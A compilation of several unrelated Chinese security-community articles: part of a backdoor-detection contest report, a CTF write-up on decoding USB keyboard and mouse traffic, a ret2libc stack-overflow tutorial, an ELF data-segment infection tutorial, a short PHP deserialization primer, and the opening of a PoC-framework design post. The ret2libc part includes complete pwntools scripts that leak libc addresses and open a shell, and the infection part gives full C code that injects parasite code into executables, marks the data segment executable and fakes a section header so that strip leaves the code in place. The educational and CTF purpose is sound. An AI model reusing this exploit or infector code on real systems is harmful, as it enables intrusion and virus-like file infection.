后门程序片段可能仅为简单的载体而没有实际的恶意行为功能，而动态执行通常是这类后门的常用手段。常规的程序通常不会采用这类技术手段。静态跟踪内存的变化以及程序是否存在动态执行行为可定位出这类后门。
• 基于常用加密算法检测。
后门代码通常会采用一些加密算法隐藏自身内容，如BASE64，XOR等。采集程序所采用的加密算法，跟踪解密内容所产生的行为链可鉴别出是否存在恶意行为。
• 基于行为链的分析。
恶意行为的鉴别最终需要对程序所产生行为进行收集分析，这其中包括对PC系统所产生的影响，对用户敏感信息的处理，以及恶意网络连接、文件操作等行为。
对系统API的调用关系是行为链分析的重点。通过静态分析生成模拟的语法树，通过树节点通达关系生成代码段的行为链。从主动防御的角度出发，对于恶意的行为我们通常可以归纳总结出特征明显的恶意行为链。通过行为链的比对匹配可鉴别程序是否存在恶意行为。
### 方案二：静态程序比对分析
通常我们能取得目标软件的二进制代码甚至源码，显然我们可以取到一个相对可信的程序版本。在存在可信程序版本的情况下，可能通过二进制比对实现对可疑程序行为的鉴别。我们开发了自己二进制代码比对系统，采用集群方式对二进制文件进行分布式的并行处理。
#### 二进制静态比对系统体系结构
系统结构如下图所示。系统分为前端、后端、图数据库三部分。前端用于接受比对文件，利用IDA提取二进制文件的函数粒度的特征。后端分布并行化运行多个分析进程，对输入文件进行函数粒度的相似度比较。图数据主要用于对二进制文件特征的保存。
#### 二进制比对算法
我们实现了多个二进制比对算法。主要包括：
•
基于FCG的图比对算法：图比对的目的找出两个图中节点的映射关系。对于二进制代码，函数调用图（FCG）是描述函数调用关系的图。它反映了程序的结构和内部特征。FCG较不易受到恶意代码中指令混淆的影响。提出了一种基于匈牙利算法的FCG匹配算法。FCG匹配的目标是在两个FCG之间确定相似的节点对。假设一个带权二分图，其两部分是两个FCG的节点集，边的权重等于两个节点之间的相似度，通过找到最大权重匹配，可以解决FCG匹配问题，从而得到相似函数对。
• 基于函数签名距离的比对算法：函数签名定义为一个向量，向量的各个维度为函数的特征，这些特征组合起来能够表示出函数的特异性。我们采用了函数的基本块数目（ α
），CFG中的边的数目（ β ），分支指令的数目（ γ ），指令的总数（ λ ），变量的大小（ μ ），子函数的数目（ ν ），字符常量集合（ S
），立即数集合（ I ）。因此一个签名可表示为：V = {α, β, γ, λ, μ, ν, S, I}
。通过函数签名，我们能够快速定量地计算出两个函数之间相似度。
在二进制比对结果上进行检测
在二进制比对结果的基础上，对已匹配函数进行人工检查，或者应用方法一进行进一步启发式检测。我们实现响应插件的运行结果如图所示。
## 3\. 总结
### 排名与数据
本赛季两轮比赛之间没有难度区分，因此不设定分数权重。题目数量，两轮分别为44/46道，按每题得分10分、每个错误答案扣5分计，因此赛季满分900分。最终本赛季有效参与队伍9支，其中前列队伍排名与分数如下：
### 攻守形势分析与展望
从以上队伍排名和总分可以观察得出结论，至少从比赛结果来看，本赛季出题（蓝军）队伍实现了对解题队伍的碾压，最佳队伍单场解题率约1/3，整体解题率全部低于1/4。
这样的最终局面，也符合早先的预期。考虑到针对二进制程序进行分析，截至目前仍然是以人力、专家经验为主，所解决的问题也都是传统固定类型；因此，本次比赛可以说是一种全新的形式，所需要的方案和能力也必须是突破性的。在这样的考虑下，不足50%的解题率是计划之内的结果。
从源代码到二进制程序文件，在编译和分发过程中，表示程序意图的语义信息本就经历了不可逆的削弱和消除，因此基于反编译后的伪代码进行细粒度分析，本身就需要一定程度的“猜解”，这是考察工具开发者已有工具沉淀和功力的方面；经过对部分解题队的走访，很多队伍在此方面有一定的原型设计，但是考虑到C++语言开发的二进制程序反编译后相比于纯C语言的大量特性无法在伪代码层面予以还原，因此在实战方面的缺失造成了基于这个方法论的队伍的低迷。
而仅仅考虑本赛季设计的场景，如上述红军队伍解题思路所述，在简化的问题域上可以有一些短期有效的方案，例如二进制跨版本比对。在当前，我们还没有显式发现类似的问题爆发，这样的方法也将在很长一段时间内有效。但是有两个问题需要放在长远考虑：一方面，如前述题目可见，结合载体软件逻辑的少而精的恶意代码，完全可以做到对这样检测方法的规避，避免使用特殊API、与原始代码做较多交叉引用和纠缠削弱独立性、隐藏特征静态资源，且在题目以外，还可以使用很多自我保护技术，这些都是现在就已经可以实现的、令上述方法无效的方案；另一方面，我们甚至无法保证现有的二进制程序本身，或者其历史版本当中，存在干净的版本可供比对；如果是存在被开发者或恶意开发人员蓄意引入的后门类行为，那么这样的片段根本无从发现。因此，这样的方法虽然在本次比赛中脱颖而出，但长期来看，只能作为近期的过渡，以及未来的补充或者粗线条过滤。
下一代真正可能有效的方案，业界的各位又有什么想法？欢迎与我们联系探讨，助力业界解决方案的成形。想要了解更多，不如加入我们的比赛：<https://softsec.security.alibaba.com>
一起探索交流。
因显示效果问题，在此附上图片原图下载地址：<https://yunpan.360.cn/surl_ydUKIz5UGcR>
（提取码：6a0b），可下载查看。 | 社区文章 |
# 【技术分享】从CTF中学USB流量捕获与解析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **Elph** ****](http://bobao.360.cn/member/contribute?uid=404360756)
**预估稿费：500RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**0x00 简介**
USB接口是目前最为通用的外设接口之一，通过监听该接口的流量，可以得到很多有意思的东西，例如键盘击键，鼠标移动与点击，存储设备的明文传输通信、USB无线网卡网络传输内容等。本文将通过两个CTF题，讲解如何捕获USB接口的数据，以及键盘鼠标USB协议的具体解析方式。相关下载链接：<http://pan.baidu.com/s/1i57b33B>
**0x01 USB capture**
USB流量的捕获可以使用wireshark或者usbpcap来进行，最新版本的wireshark已经支持USB接口的捕获，且在安装时会提示usbpcap的安装，当前网上已有相关中文资料对wireshark抓取usb数据包的方法进行讲解，感兴趣的读者可阅读参考链接，在此我们使用一种相对简单的方式，即直接采用usbpcap捕获USB流量。该软件的下载地址为<http://desowin.org/usbpcap/>，可支持32位以及64位的winxp至win10操作系统，安装完成后须重启机器或者按照提示选择重启所有USB设备。
安装完成后，直接双击USBPcapCMD.exe，按照提示信息选择filter，输入文件名，便可愉快地等产生的信息被捕获了，程序运行界面如下图：
**0x02 键盘流量解析**
以今年xnuca misc 专场的old years 题为例，该题目给出一个pcap包，使用wireshark打开，看到Protocol 为USB协议。
USB协议的数据部分在Leftover Capture Data域之中，右键leftover capture data –>
应用为列，可以将该域的值在主面板上显示，键盘数据包的数据长度为8个字节，击键信息集中在第3个字节，每次key stroke都会产生一个keyboard
event usb packet ，如下图：
网上查找USB协议的文档，可以找到这个值与具体键位的对应关系，http://www.usb.org/developers/hidpage/Hut1_12v2.pdf
第53页有一个usb keyboard/keypad映射表：
使用wireshark自带的tshark命令行工具，可以将 leftover capture data单独提取出来，具体命令为：
tshark.exe -r usb1.pcap -T fields -e usb.capdata > usbdata.txt
然后我们需要编写脚本从得出的userdata.txt文件中过滤出键盘击键相关的流量，并根据上述映射表，将键盘按键按照对应关系输出出来，这里附上简要的脚本：
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :n' + output
运行该脚本，便可得到输出结果如下：
这里还有最后一个小弯，由提示中的“不使用拼音
”等信息推测出上文的特殊编码可能是某种拼音之外的古老的输入法，例如五笔，毕竟这也是做keylogger的人需要考虑而且头疼的一个地方。尝试对照着输入，可以得出如下文字：
最后得出flag . xnuca{wojiushifulagehaha}
**0x03 鼠标流量解析**
这是xnuca第二道usb流量的题，首先可以直接使用上述的解决方案试一下，得到这样一话：
解决本题需要把鼠标流量还原出来，然而鼠标与键盘不同，鼠标移动时表现为连续性，与键盘击键的离散性不一样，不过实际上鼠标动作所产生的数据包也是离散的，毕竟计算机表现的连续性信息都是由大量离散信息构成的。
首先同样使用tshark 命令将cap data提取出来:
tshark.exe -r usb2.pcap -T fields -e usb.capdata > usbdata.txt
每一个数据包的数据区有四个字节，第一个字节代表按键，当取0x00时，代表没有按键、为0x01时，代表按左键，为0x02时，代表当前按键为右键。第二个字节可以看成是一个signed
byte类型，其最高位为符号位，当这个值为正时，代表鼠标水平右移多少像素，为负时，代表水平左移多少像素。第三个字节与第二字节类似，代表垂直上下移动的偏移。
了解协议相关约定之后，可编写脚本将数据包的内容变成一系列点的集合，为了区分左右按键，可以特意对第一个字节的内容作一下判断。相关脚本如下：
nums = []
keys = open('data.txt','r')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
print posx , posy
keys.close()
本题的flag藏在右键信息中，当btn_flag 取2时，运行脚本可以得到一系列坐标点：
得到这些点之后，需要将他们画出来，因而需要辅以gnuplot 或者其他的绘图工具，gnuplot的命令为"plot inputfile"，运行如下：
最后得到本题的flag： XNUCA{USBPCAPGETEVERYTHING} | 社区文章 |
# Pwn入门之ret2libc详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前曾在Pwn入门之基础栈溢出里面曾经提过ret2libc的相关知识，但是写的比较笼统，感觉对新手还是不够友好，想通过本文对ret2libc的原理和利用进行详细讲解。
## 前置知识
### GOT表和PLT表
got表也叫全局偏移表（Global Offset Table）是Linux ELF文件中用于定位全局变量和函数的一个表。
plt表也叫过程链接表（Procedure Linkage Table）是Linux ELF文件中用于延迟绑定的表恶，即函数第一次被调用的时候才进行绑定。
在程序运行过程中，plt表和got表的运行过程大致如下：
用一句话来总结就是，可执行文件里保存的是plt表的地址，对应plt地址指向的是got的地址，got表指向的是glibc中的地址
在这里如果需要通过plt表获取函数的地址，需要保证got表已经获取了正确的地址，但如果一开始对所有函数都进行了重定位是比较麻烦且浪费资源，为此，Linux引入了延迟绑定机制。
### 延迟绑定
这种机制存在的目的是glibc为了节约系统资源，提高性能。其详细过程如下
源程序在第一次调用一个函数时，首先去
如果存在一个tide函数，这个函数在plt中的条目为tide[@plt](https://github.com/plt
"@plt")，在got中的条目为tide[@got](https://github.com/got
"@got")，那么在第一次调用bar函数时，首先会跳转到plt，伪代码如下：
tide@plt;
jmp tide@got
patch tide@got
这里会从PLT跳到GOT，如果函数从来没有调用过，那这时GOT会跳转回PLT并调用patch
tide[@got](https://github.com/got
"@got")，这行代码的作用是将bar函数真正的地址填充到tide[@got](https://github.com/got
"@got")，然后跳转到bar函数真正的地址执行代码。当下次再次调用bar函数的时候，执行路径就是先跳转到tide[@plt](https://github.com/plt
"@plt")、tide[@got](https://github.com/got "@got")、tide真正的地址。
简而言之就是，当一个函数被调用过后，got表里保存了他在内存中的地址，可以通过泄漏got表内存来泄漏函数地址，然后可以根据起泄漏的函数地址获得其libc版本，从而计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。
以计算system函数在内存空间中的函数地址举例。
1. 获取`__libc_start_main`函数在内存空间中的地址`addr_main`
2. `__libc_start_main`函数相对于`libc.so.6`的起始地址是`addr_main_offset`
3. system函数相对于`libc.so.6`的起始地址是`addr_system_offset`
4. 则`system`函数在内存中真正的地址为`addr_main`+`addr_system_offset`–`addr_main_offset`
在我们ret2libc中我们只需要理解为，只有执行过的函数，我们才能通过got表泄漏其地址。
## 基本思路
ret2libc是控制函数执行libc中的函数，通常是返回至某个函数的plt处。一般情况下，会选择执行system(‘/bin/sh’)，因此需要找到system函数的地址
看到这里相信有的师傅就会问了，为什么不能直接跳到got表，通过前面的前置知识我们知道plt表中的地址对应的是指令，got表中的地址对应的是指令地址，而返回地址必须保存一段有效的汇编指令，所以必须要用plt表
ret2libc通常可以分为下面几种类型：
* 程序中自身包含system函数和”/bin/sh”字符串
* 程序中自身就有system函数，但是没有”/bin/sh”字符串
* 程序中自身没有syetem函数和”/bin/sh”字符串，但给出了libc.so文件
* 程序中自身没有sysetm函数和”/bin/sh”字符串，并且没有给出libc.so文件
针对前面那三种在前面的文章中已经进行过详细讲解，本文主要是针对第四种情况进行讲解
对于没有给出libc.so文件的程序，我们可以通过泄漏出程序当中的某个函数的地址，通过查询来找出其中使用lib.so版本是哪一个，然后根据lib.so的版本去找到我们需要的system函数的地址。
针对常见的题目我们的解题思路是这样的：
1. 利用栈溢出及puts函数泄漏出在got表中`__libc_start_main`函数的地址
2. puts函数的返回地址为_start函数
3. 利用最低的12位找出libc版本（即使程序有ASLR保护，也只是针对地址中间位进行随机，最低的12位并不会发生改变）
4. 利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址
## 实战
我们还是利用ctfwiki中的ret2libc3进行讲解
分析程序
根据前面分析的，我们需要找到如下几个地址
* `__libc_start_main`函数在got表的地址
* `_start`函数的地址
* `puts`函数在`plt`表中的地址
`__libc_start_main`函数在got表中的地址
`_start`函数的地址
`puts`函数在`plt`表中的地址
获取到这三个地址后，我们可以采用调用`puts`函数后，`ret`到`main`函数，用`main`函数里面的`gets`来获取`libc_start`的地址
获取libc_start地址的脚本如下
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
payload = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(puts_addr))
sh.recv()
即使程序有ASLR保护，也只是针对地址中间位进行随机，最低的12位并不会发生改变，在16进制中也就是我们的最后3位，因此cd0是不会变，使用`libc
database
search`([https://libc.blukat.me/)进行查询（网上普遍推荐的是利用LibcSearcher，但是我用LibcSearcher一直没打通）](https://libc.blukat.me/\)%E8%BF%9B%E8%A1%8C%E6%9F%A5%E8%AF%A2%EF%BC%88%E7%BD%91%E4%B8%8A%E6%99%AE%E9%81%8D%E6%8E%A8%E8%8D%90%E7%9A%84%E6%98%AF%E5%88%A9%E7%94%A8LibcSearcher%EF%BC%8C%E4%BD%86%E6%98%AF%E6%88%91%E7%94%A8LibcSearcher%E4%B8%80%E7%9B%B4%E6%B2%A1%E6%89%93%E9%80%9A%EF%BC%89)
看到这么多libc版本挨个试可能会累死，于是再来泄漏个`puts`的地址
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018
# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
还剩下三个了，使用下面的脚本挨个尝试吧
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018
# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()
libc_start = #通过libc database search获取
libc_system = #通过libc database search获取
libc_binsh = #通过libc database search获取
libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh
payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
最终经过多次实验可知，libc文件是`libc6_2.31-0ubuntu9_i386`
最终的完整脚本如下
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018
# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()
libc_start = 0x01edf0
libc_system = 0x045830
libc_binsh = 0x192352
libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh
payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
成功打通
## 总结
ret2libc这种题型，相较于前面简单的题目，对Linux中程序运行的理解要求更高，一开始根据网上的教程去寻找libc版本的时候发现大多数教程都是使用脚本去获取，但在自己尝试的时候就一直打不通，于是便放弃了脚本采用手工的方式进行查找，可能相较于通过脚本直接获取更加费时费力，但是也通过这个倒逼自己将got表和plt表的相关知识彻底理解透彻，也捋清楚了程序在Linux中到底是如何运行的。
参考链接：
<https://www.yuque.com/hxfqg9/bin/ug9gx5#qQDLq>
<https://introspelliam.github.io/2017/08/03/pwn/got%E3%80%81plt%E8%A1%A8%E4%BB%8B%E7%BB%8D/>
<https://blog.csdn.net/AcSuccess/article/details/104335514> | 社区文章 |
[TOC]
学习这项技术前，我们带着以下几个问题来学习
# 什么是data段感染？
这种感染方式和text段感染的理念是一样的，就是通过将寄生代码注入到段中，作为段的一部分，并且将入口点修改为寄生代码的位置，在寄生代码执行完成后再返回原始入口位置执行程序的代码。
而且在未进行 NX-bit 设置的系统上，如 32 位的 Linux 系统，可以在不改变 data段权限的情况下执行 data
段中的代码（即使段权限为可读+可写）
# 怎么实现？
我们是对data段进行感染，那么我们需要一些关于data段的前置知识：
1.data段的结尾是.bss节，这是一个在磁盘上不占空间的节，存放的使一些未初始化变量，只有到了内存中才会被分配空间，存放初始化后的数据。这里我们将寄生代码注入到data段的尾部，.bss节的前面
2.data段一般位于最后一个段，所以没有别的段需要更改偏移
## 感染算法
我们的修改从ELF文件头部到尾部
1. 将 ehdr->e_entry 入口点指向寄生代码所在的位置,也就是data段的尾部，即`文件基地址+data段的文件偏移`
2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置，会因为寄生代码的注入而被向后移动)。
3. 定位到data段，修改段的大小，增加寄生代码的长度
* 将 phdr->p_filesz 增加寄生代码的长度。
* 将 phdr->p_memsz 增加寄生代码的长度
4. 修改.bss节以及后面节的偏移地址，原因和节头表的原因一样，都是因为这些节位于寄生代码之后
5. (可选)修改data段权限，适用于开启了NX-bit设置对非代码段进行了执行限制的系统
`phdr[DATA].p_flags |= PF_X;`
6. (可选)为寄生代码添加一个自定义节头，防止strip命令删除没有节头声明的寄生代码
7. 注入寄生代码
## 代码实现
根据上面的感染算法，写出下面的完整代码。
需要注意的是，linux下的程序默认编译时是开启了NX，所以我们需要加上第五步可选步骤的代码：`p_hdr[i].p_flags |=
PF_X;`来让我们的寄生代码得以执行，如果不给数据段添加执行权限，会报出`段错误`的异常
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>
#define TMP "test2"
int return_entry_start = 1;
char parasite[] = "\x68\x00\x00\x00\x00\xc3";
unsigned long entry_point;
struct stat st;
long bss_addr;
int main(int argc, char **argv)
{
char *host;
int parasite_size;
int fd, i;
Elf64_Ehdr *e_hdr;
Elf64_Shdr *s_hdr;
Elf64_Phdr *p_hdr;
long o_shoff;
unsigned char * mem;
if(argc < 2)
{
printf("Usage: %s <elf-host>\n",argv[0]);
}
host = argv[1];
//检查宿主文件是否正常
if((fd=open(host, O_RDONLY)) == -1)
{
perror("open");
goto _error;
}
if((fstat(fd, &st)) < 0)
{
perror("fstat");
goto _error;
}
//将宿主文件映射进内存中
mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
printf("[+] Address of %s maps to memory is 0x%X\n", argv[1], mem);
printf("[+] Magic field is %c%c%c\n", mem[1],mem[2],mem[3]);
if(mem == MAP_FAILED)
{
perror("mmap");
goto _error;
}
e_hdr = (Elf64_Ehdr *)mem;
//ELF文件检测
if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF"))
{
printf("%s it not an elf file\n", argv[1]);
goto _error;
}
/**
* 2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置，会因为寄生代码的注入而被向后移动)。
*/
parasite_size = sizeof(parasite);
o_shoff = e_hdr->e_shoff;
e_hdr->e_shoff += parasite_size;
/*
* 第1步和第3步：
*
* 修改文件头入口点
* 修改data段的文件长度和内存长度
*
*/
p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);
for(i=0; i<e_hdr->e_phnum; i++)
{
if(p_hdr[i].p_type == PT_LOAD)
{
if(p_hdr[i].p_offset != 0)
{
//保存原始.bss开始的位置
bss_addr = p_hdr[i].p_offset + p_hdr[i].p_filesz;
printf("[+] Find data segment\n");
entry_point = e_hdr->e_entry;
e_hdr->e_entry = p_hdr[i].p_vaddr + p_hdr[i].p_filesz;
printf("[+] Data segment file size is 0x%X\n", p_hdr[i].p_filesz);
printf("[+] New entry is 0x%X\n", e_hdr->e_entry);
p_hdr[i].p_filesz += parasite_size;
p_hdr[i].p_memsz += parasite_size;
//对抗开启NX(可选项)
p_hdr[i].p_flags |= PF_X;
}
}
}
/*
* 4.调整.bss节
*
*/
printf("[+] Prepare change after .bss and .bss's section\n");
printf("[+] section header table offset is 0x%X\n", o_shoff);
s_hdr = (Elf64_Shdr *)(mem + o_shoff);
for(i=0; i<e_hdr->e_shnum; i++)
{
if(s_hdr[i].sh_offset >= bss_addr)
{
//printf("[+] Offset of section need to edit is 0x%X\n", s_hdr[i].sh_offset);
s_hdr[i].sh_offset += parasite_size;
}
}
/*
* 7. 插入寄生代码
*
*/
mirror_binary_with_parasite(parasite_size, mem, parasite);
printf("Data segment infect completed!\n");
_error:
munmap(mem, st.st_size);
close(fd);
return 0;
}
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
int ofd;
int c;
printf("Mirroring host binary with parasite %d bytes\n",psize);
if((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
{
perror("tmp binary: open");
goto _error;
}
//写入到data段结尾的数据
if ((c = write(ofd, mem, bss_addr)) != bss_addr)
{
printf("failed writing ehdr\n");
goto _error;
}
printf("Patching parasite to jmp to %lx\n", entry_point);
//写入寄生代码
*(unsigned int *)¶site[return_entry_start] = entry_point;
if ((c = write(ofd, parasite, psize)) != psize)
{
perror("writing parasite failed");
goto _error;
}
mem += bss_addr;
if ((c = write(ofd, mem, st.st_size-bss_addr)) != st.st_size-bss_addr)
{
printf("Failed writing binary, wrote %d bytes\n", c);
goto _error;
}
_error:
close(ofd);
}
但是如果遇到strip，这个命令会将不存在任何节中的寄生代码给删除掉，这就要用到我们第6步的解决方法，伪造一个节去包含我们的寄生代码，这里我就不用代码实现，手动通过010edit在节头表最后添加一个节，这个节是我按照text节写的，只修改了个偏移值和大小就将寄生代码包含在了这个节中，最后在讲文件头的节头数加1就完成了伪造节的过程
从下面这幅图就可以看出即使再用strip也不能删除寄生代码。
# 对抗
1. 入口点的位置不在代码段
2. 检测运行时程序代码段的权限
# 小结
本次学习主要掌握：
1. data段感染的思路，通过将寄生代码注入到data段，然后将入口点位置指向寄生代码处来执行寄生代码，最后在寄生代码里又跳转会原始入口位置来防止原始程序的崩溃
2. 如果存在NX保护，我们通过将data段权限改成可执行权限即可，但这样的话病毒特征就会很明显
3. 如果程序会有被strip的风险，我们可以通过伪造节头包含寄生代码即可绕过
# 参考
> 【1】 Linux二进制分析 | 社区文章 |
# 【技术分享】神奇的php反序列化
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **阻圣** ****](http://bobao.360.cn/member/contribute?uid=134615136)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
PHP存在着一个很有趣的漏洞，PHP对象注入，不过我们通常称为反序列化漏洞，虽然对于这个漏洞网上介绍的文章有很多，但是我感觉并没有达到通俗易懂，所以本篇文章将追求介绍最详细的php反序列化漏洞。力求小白也能看懂。
**基础知识**
再介绍漏洞之前我们先要来了解一下什么是反序列化，所有php里面的值，我们都可以使用函数serialize()来返回一个包含字节流的字符串来表示。见下图：
序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。所以对象A和对象B序列化后并没有什么区别。
大家是不是看不懂序列化后是什么意思啊。别急，让我来解释一下。
s:16代表这个是字符串，字符串长度为16，a:2代表这个是数组，有两个数值。O代表对象，A和B是类名，a和b是类实例化后的对象名，i是数值类型。
unserialize()函数能够重新把字符串变回php原来的值。
**漏洞产生原因**
漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法，而且魔术方法中的代码有能够被我们控制，漏洞就这样产生了，根据不同的代码可以导致各种攻击，如代码注入、SQL注入、目录遍历等等。
**反序列化之代码注入**
我们先来看一段存在漏洞的代码。
这里__destruct是当一个对象被销毁时被自动调用的析构方法。
我们可以发现A类中存在魔术方法__destruct，然后unserialize中参数可控。这样我们就可以控制其中的变量a的值。漏洞就由此尝试了。
**
**
**漏洞利用**
漏洞利用的思想，使我们模仿一个A类，然后给变量a赋值。我们来注入phpinfo()。
首先使我们模仿一个A类，然后给变量a赋值，执行序列化操作。
得到序列化后的字符串。
将序列化后的字符串提交，注意加上我们注入得代码。
注入成功
**总结**
其实漏洞的核心思想还是在于unserialize函数，漏洞利用的核心思路在于控制魔术方法中的代码从而产生代码注入，SQL注入，目录遍历等一系列的漏洞利用。防御本漏洞就要严格控制unserialize函数的参数，对unserialize后的变量内容进行检查，确保绿色输入。 | 社区文章 |
**作者：w7ay@知道创宇404实验室
English version: <https://paper.seebug.org/914/>
相关阅读：[如何打造自己的PoC框架-Pocsuite3-使用篇](https://paper.seebug.org/904/ "如何打造自己的PoC框架-Pocsuite3-使用篇")**
本节笔者将按照Pocsuite框架结构以及工程化实践，来实现一款自己的PoC框架。为了开一个好头，我们先取一个好听的名字，想威武霸气一些可以取上古神器之类的，诸如轩辕夏禹赤霄干将，若怀着对游戏的热爱也可以有山丘之王（Mountain
King）剑圣（BladeMaster）月之女神（Priess Of the
moon）。由于笔者比较懒，我们就取一个朴素的名字：AirPoc，中文名叫它"空气炮"吧。
名称取好了，我们还要幻想一下大饼。这里请充分发挥想象力，幻想它的功能，你要记住，没有我们实现不了的功能，如果有，打死产品manager即可。
这里不妨开下脑洞，为了组建兔子安全联盟，我们计划开发一款基于区块链的PoC验证框架AirPoc，限定只对"兔子安全联盟”范围内的网站进行安全检查，由一个AirPoc节点检查出了存在漏洞的地址，将URL和PoC共享到区块中，再由随机的其他节点验证，验证成功则获得"空气币"，而被检测到的网站所有者则需要支付"空气币"作为报酬。
虽然只是暂时的幻想，但是产品小哥哥也略带激动整理出了我们需要的功能。
1. 使用简单，不要有太多的命令，可以跨平台使用
2. 人多力量大，能让更多人参与进来的
3. 能简单操作就能内置到其他产品上
4. 验证速度与验证准确率极高！
5. 我也不知道什么好，总之你跑起来能出东西就行！
当然，这位产品小哥哥可能怕被打，没有将分布式，区块链的概念加入进来。
## 具体细节
下面就由笔者来具体实现由笔者兼职的产品manager随便一想（挖坑）的东西。我们逐一分析问题，并给出最后的解决方案。
说到使用简单，我们就任性的选择使用Python了，不信你看看Python之父的头发。在安装了Python之后，也可以一份代码多处使用，但为了足够的简单与原生，我们决定尽量少使用Python的第三方包。而目前Python最新版为3.7，我们就以此为例。
国外的众多开源安全项目都有不少人参与，像Metasploit
Sqlmap
Routersploit
能贡献一份代码到上面可能是安全研究人员最想做的事情吧。
所以笔者有个想法是AirPoc的PoC仓库可以开源到GitHub，并且能够在线调用上面的PoC，这样也不会为了PoC的更新而烦恼了。
内置到其他产品也更是容易，如果是Python类的软件，可以直接把AirPoc当做包来调用，如果其他软件，AirPoc可以开放一个RPC接口提供使用，如果不想要Python的环境，也可以通过pyinstaller之类的工具打包，我们的设计原则是尽量不依赖其他第三方库，所以也会避免很多奇奇怪怪的问题。
